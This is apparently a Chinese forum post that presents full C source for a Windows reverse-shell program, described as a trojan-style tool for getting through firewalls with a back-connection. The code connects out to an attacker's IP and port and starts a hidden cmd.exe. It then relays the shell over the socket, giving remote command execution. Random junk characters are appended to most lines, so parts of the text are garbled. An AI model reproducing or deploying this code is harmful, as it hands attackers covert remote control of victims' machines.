这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7|o!v);uR
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/* ============================== gAh#H ?MM
Rebound port in Windows NT {{Qbu}/@
By wind,2006/7 `T+w5ONn
===============================*/ qw*) R#=
#include ?yxQs=&-q~
#include )@p?4XsT4J
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#pragma comment(lib,"wsock32.lib") Q_Br{
`c
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void OutputShell(); LzJ`@0RrX
SOCKET sClient; sq;!5qK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S[gACEZ =
3~Lsa"/
void main(int argc,char **argv) c5| sda{
{ |g>Q3E
WSADATA stWsaData; vsyg u
int nRet; n=PfV3B
SOCKADDR_IN stSaiClient,stSaiServer; u(fZ^
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if(argc != 3) Yg?BcY\
{ tUuARo7#
printf("Useage:\n\rRebound DestIP DestPort\n"); ${E^OE
return; A|,qjiEJCc
} C0K:
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0l4f%'f
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^Zp
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stSaiClient.sin_family = AF_INET; -Bl^TT
stSaiClient.sin_port = htons(0); x N7sFSV@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i6A9|G$H
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :\I*_00!
{ ]DU?N7J
printf("Bind Socket Failed!\n"); #s81k@#X
return; ML MetRP
} ,NvXpN
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stSaiServer.sin_family = AF_INET; `|Hk+V
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); '!ks $}$`h
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 0)cSm"s
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SB08-G2
{ o<iU;15
printf("Connect Error!"); 1<fW .Q)
return; O) TS$
} G@`ZDn
OutputShell(); )[cuYH>
} K3<A<&W_-
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void OutputShell() 6D[]Jf,9
{ FF#+d~$z
char szBuff[1024]; zH Z;Y^{+
SECURITY_ATTRIBUTES stSecurityAttributes; n1b:Bv4"]#
OSVERSIONINFO stOsversionInfo; lz::6}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \K~wsu/?`
STARTUPINFO stStartupInfo; MoQ\~/Z|
char *szShell; |IV7g*J89
PROCESS_INFORMATION stProcessInformation; F~qZIggD
unsigned long lBytesRead; Ll-QhcC$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }#u #m.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yci} #,nb
stSecurityAttributes.lpSecurityDescriptor = 0; +}M3O]?4
stSecurityAttributes.bInheritHandle = TRUE; `'^o45
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oGB|k]6]|
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T&MhSJf#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); me{u~9&
R|'W#"{@
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y)]C.V,~
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rX /'
stStartupInfo.wShowWindow = SW_HIDE; +&S6se4
stStartupInfo.hStdInput = hReadPipe; x~R,rb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; I#M>b:"te
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GetVersionEx(&stOsversionInfo); \>pm (gF
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switch(stOsversionInfo.dwPlatformId) nw%9Qw
{ p/RT*?<
case 1: OA=~i/n~
szShell = "command.com"; (xN1?qXB.
break; 2_)UHTwsK
default: 9M3"'^ {$
szShell = "cmd.exe"; DpvHIE:W
break; d"miPR
} %7}j|eS)G
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "f_qG2A{
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send(sClient,szMsg,77,0); TEY~E*=}$
while(1) hmd3W`8D
{ (AtyM?*
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M-@X&bm,S
if(lBytesRead) N)
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{ |%F,n2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]uypi#[
send(sClient,szBuff,lBytesRead,0); (DY[OIHI
} Xpn\TD<_I
else [2Zy~`*y{
{ 0QW=2rs
lBytesRead=recv(sClient,szBuff,1024,0); wiZ
if(lBytesRead<=0) break; S}
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); dd<l;4(
} z)U7
} Dqii60
qD ?`Yd
return; @-L]mLY
}